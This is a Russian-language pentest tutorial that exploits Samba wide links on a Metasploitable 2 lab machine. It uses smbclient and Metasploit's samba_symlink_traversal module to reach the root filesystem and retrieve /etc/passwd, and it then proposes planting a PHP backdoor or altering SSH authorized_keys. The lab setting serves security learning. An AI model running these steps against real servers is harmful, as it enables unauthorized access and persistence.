Получение доступа к корневой файловой системе через Samba

Получение доступа к корневой файловой системе через Samba

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

В этой статье мы познакомились с широкими ссылками в Samba и методами эксплуатации этих ссылок для получения доступа к корневой файловой системе. 

Samba можно сконфигурировать таким образом, чтобы любой пользователь, у которого есть права на запись, мог создать ссылку к корневой файловой системе. Как только у злоумышленника появляется этот уровень доступа, получение полного контроля над системой остается лишь вопросом времени. Хотя подобная конфигурация в «дикой природе» встречается не часто, однако если встретится, мы можем воспользоваться одним из модулей в Metasploit для эксплуатации этой уязвимости. 

Символические ссылки (symlink) представляют собой файлы, связанные с другими файлами или директориями системе и являющиеся неотъемлемой частью Линукса. Символические ссылки часто используются для подключения библиотек и перенаправления определенных бинарных файлов на другие версии. 

Системы для общего доступа к файлам навроде Samba могут использовать символические ссылки, позволяя реализовать упрощенный доступ к связанным папкам и файлам. Однако эти ссылки обычно замыкаются внутри общего ресурса и делают невозможным получения доступа ко всей файловой системе. 

В Samba есть так называемые широкие ссылки, представляющие собой символические ссылки, которым разрешено ссылаться наружу изолированного общего файлового ресурса. Само собой, здесь сразу же возникает большая дыра в безопасности, поскольку любой пользователь с правами на запись в общем ресурсе, может создать ссылку к корневой файловой системе. 

Во время демонстрации технологии я буду использовать Kali Linux для атаки на виртуальную машину Metasploitable 2. Само собой, вы также можете воспользоваться своей собственной средой для пентестов, если таковая имеется. 

 Шаг 1. Создание ссылки при помощи Metasploit 

После обнаружения службы SMB первое, что нам нужно, - проверить, есть ли доступ к общим ресурсам, и если есть, то найти имена этих ресурсов. Для решения этой задачи можно воспользоваться приложением smbclient

~# smbclient -L //10.10.0.50/
 
Enter WORKGROUP\root's password:
Anonymous login successful
 
    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes!
    opt             Disk
    IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
 
    Server               Comment
    ---------            -------
 
    Workgroup            Master
    ---------            -------
    WORKGROUP            METASPLOITABLE

По результатам выше видно, что мы можем подключаться анонимно и получать список общих ресурсов. По-видимому, также есть пара ресурсов, используемых по умолчанию, но для нас представляет интерес имя tmp. К тому же, у этого ресурса есть комментарий, выглядящий подозрительно. Короче говоря, цель найдена. 

Далее в терминале вводим команду msfconsole для запуска Metasploit. 

~# msfconsole
 
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
 
         .                                         .
 .
 
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB
 
                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP
 
                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before
 
       =[ metasploit v5.0.20-dev                          ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
 
msf5 >

После появления приветственного баннера ищем подходящий модуль при помощи команды search: 

msf5 > search samba symlink
 
Matching Modules
================
 
   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   1   auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   2   auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   3   auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   4   auxiliary/scanner/rsync/modules_list                                  normal     Yes    List Rsync Modules
   5   auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   6   auxiliary/server/wget_symlink_file_write             2014-10-27       normal     No     GNU Wget FTP Symlink Arbitrary Filesystem Access
   7   exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   8   exploit/linux/local/abrt_raceabrt_priv_esc           2015-04-14       excellent  Yes    ABRT raceabrt Privilege Escalation
   9   exploit/linux/local/asan_suid_executable_priv_esc    2016-02-17       excellent  Yes    AddressSanitizer (ASan) SUID Executable Privilege Escalation
   10  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   11  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   12  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   13  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   14  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   15  exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   16  exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   17  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   21  exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
   22  exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   23  exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   24  exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow
   26  exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   27  exploit/windows/local/ms13_097_ie_registry_symlink   2013-12-10       great      No     MS13-097 Registry Symlink IE Sandbox Escape
   28  exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   29  post/linux/gather/enum_configs

Мы получили множество результатов, однако нужный нам модуль находится в самом начале, который мы загружаем при помощи команды use с указанием соответствующего пути. 

 msf5 > use auxiliary/admin/smb/samba_symlink_traversal 

После подключения в контекст модуля вводим команду options для просмотра доступных настроек: 

msf5 auxiliary(admin/smb/samba_symlink_traversal) > options
 
Module options (auxiliary/admin/smb/samba_symlink_traversal):
 
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      445              yes       The SMB service port (TCP)
   SMBSHARE                    yes       The name of a writeable share on the server
   SMBTARGET  rootfs           yes       The name of the directory that should point to the root filesystem

В опции RPORT уже установлен корректный номер порта 445 для службы SMB. В опции SMBTARGET указано имя директории, которая будет создана для связи с корневой файловой системой. Нам осталось установить IP-адрес целевой системы в опции RHOSTS: 

msf5 auxiliary(admin/smb/samba_symlink_traversal) > set rhosts 10.10.0.50
 
rhosts => 10.10.0.50

Также указываем имя общего файлового ресурса для записи (в нашем случае – tmp): 

msf5 auxiliary(admin/smb/samba_symlink_traversal) > set smbshare tmp
 
smbshare => tmp 

Когда все опции установлены, вводим команду run для запуска модуля: 

msf5 auxiliary(admin/smb/samba_symlink_traversal) > run
 
[*] Running module against 10.10.0.50
 
[*] 10.10.0.50:445 - Connecting to the server...
[*] 10.10.0.50:445 - Trying to mount writeable share 'tmp'...
[*] 10.10.0.50:445 - Trying to link 'rootfs' to the root filesystem...
[*] 10.10.0.50:445 - Now access the following share to browse the root filesystem:
[*] 10.10.0.50:445 -    \\10.10.0.50\tmp\rootfs\
 
[*] Auxiliary module execution completed 

В результате мы видим, что происходит в процессе выполнения. Сначала подключение к серверу, а затем монтирование указанного ресурса на запись. Далее создается ссылка к корневой файловой системе и отображается путь для доступа. Прекрасно. 

 Доступ к корневой файловой системе  

Как только модуль выполнил свою работу, выходим из Metasploit при помощи команды exit и подключаемся к ресурсу, используя smbclient: 

msf5 > exit
~# smbclient //10.10.0.50/tmp
 
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

Мы можем еще раз залогиниться анонимно и воспользоваться командой ls для просмотра содержимого ресурса: 

smb: \> ls
 
  .                                   D        0  Wed Aug  8 10:52:28 2018
  ..                                 DR        0  Sun May 20 13:36:12 2012
  4600.jsvc_up                        R        0  Wed Aug  8 08:57:48 2018
  .ICE-unix                          DH        0  Wed Aug  8 08:56:05 2018
  .X11-unix                          DH        0  Wed Aug  8 08:56:51 2018
  .X0-lock                           HR       11  Wed Aug  8 08:56:51 2018
  rootfs                             DR        0  Sun May 20 13:36:12 2012
 
        7282168 blocks of size 1024. 5430648 blocks available 

В списке выше видно, что появилась новая директория, созданная модулем и представляющая собой ссылку, куда мы можем зайти как в обычную папку: 

smb: \> cd rootfs\
smb: \rootfs\> ls
 
  .                                  DR        0  Sun May 20 13:36:12 2012
  ..                                 DR        0  Sun May 20 13:36:12 2012
  initrd                             DR        0  Tue Mar 16 17:57:40 2010
  media                              DR        0  Tue Mar 16 17:55:52 2010
  bin                                DR        0  Sun May 13 22:35:33 2012
  lost+found                         DR        0  Tue Mar 16 17:55:15 2010
  mnt                                DR        0  Wed Apr 28 15:16:56 2010
  sbin                               DR        0  Sun May 13 20:54:53 2012
  initrd.img                          R  7929183  Sun May 13 22:35:56 2012
  home                               DR        0  Fri Apr 16 01:16:02 2010
  lib                                DR        0  Sun May 13 22:35:22 2012
  usr                                DR        0  Tue Apr 27 23:06:37 2010
  proc                               DR        0  Wed Aug  8 08:55:30 2018
  root                               DR        0  Wed Aug  8 08:56:51 2018
  sys                                DR        0  Wed Aug  8 08:55:31 2018
  boot                               DR        0  Sun May 13 22:36:28 2012
  nohup.out                           R    20962  Wed Aug  8 08:56:51 2018
  etc                                DR        0  Wed Aug  8 08:56:23 2018
  dev                                DR        0  Wed Aug  8 08:56:06 2018
  vmlinuz                             R  1987288  Thu Apr 10 11:55:41 2008
  opt                                DR        0  Tue Mar 16 17:57:39 2010
  var                                DR        0  Wed Mar 17 09:08:23 2010
  cdrom                              DR        0  Tue Mar 16 17:55:51 2010
  tmp                                 D        0  Wed Aug  8 10:52:28 2018
  srv                                DR        0  Tue Mar 16 17:57:38 2010
 
        7282168 blocks of size 1024. 5430648 blocks available

У нас появился доступ к файловой корневой системе. Теперь мы, например, можем посмотреть содержимое файла /etc/passwd. Меняем директорию на /etc/ и используем команду get для загрузки файла на нашу машину: 

smb: \rootfs\> cd etc
smb: \rootfs\etc\> get passwd
 
getting file \rootfs\etc\passwd of size 1581 as passwd (128.7 KiloBytes/sec) (average 128.7 KiloBytes/sec) 

Теперь мы можем увидеть всех пользователей в целевой системе, все домашние директории, доступные шеллы, что очень приходится в дальнейшем. 

~# cat passwd
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

 Последующие сценарии атак 

Поскольку у нас есть доступ к корневой файловой системе, далее мы можем пойти несколькими путями. Все зависит от вашего воображения и конфигурации целевой системы. 

Однако здесь следует упомянуть об одной важной детали: у нас есть доступ к корневой файловой системе и права, назначенные анонимной учетной записи для общего файлового ресурса с именем tmp (скорее всего, это будут права обычного юзера, но не суперпользователя). Соответственно, появляются ограничения для маневра. В зависимости от настроек сервера можно попробовать реализовать несколько сценариев. 

Например, поскольку у нас есть права на запись, можно положить PHP-бэкдор в корневую директорию сервера Apache, а затем через браузер запустить шелл для подключения с локальной машины. Еще один вектор для атаки – если позволяют права файла для конфигурирования SSH – модификация файла авторизированных ключей и последующее получение SSH-доступа. 

Хакеру важно быть креативным, и даже в ситуациях, когда получение шелла кажется невозможным, если проявить настойчивость и упорство, задача будет решена. 

 Заключение 

В этой статье мы познакомились с широкими ссылками в Samba и методами эксплуатации этих ссылок для получения доступа к корневой файловой системе. После получения базового доступа мы воспользовались модулем в Metasploit для создания ссылки, указывающий на корневую файловую систему сервера. Затем мы смогли получить список директорий корневой файловой системы и наметили возможные вектора для атак. Навыками использования слабостей конфигурации с целью эксплуатации и проникновения в систему должен обладать каждый специалист по безопасности. 

Источник


Report Page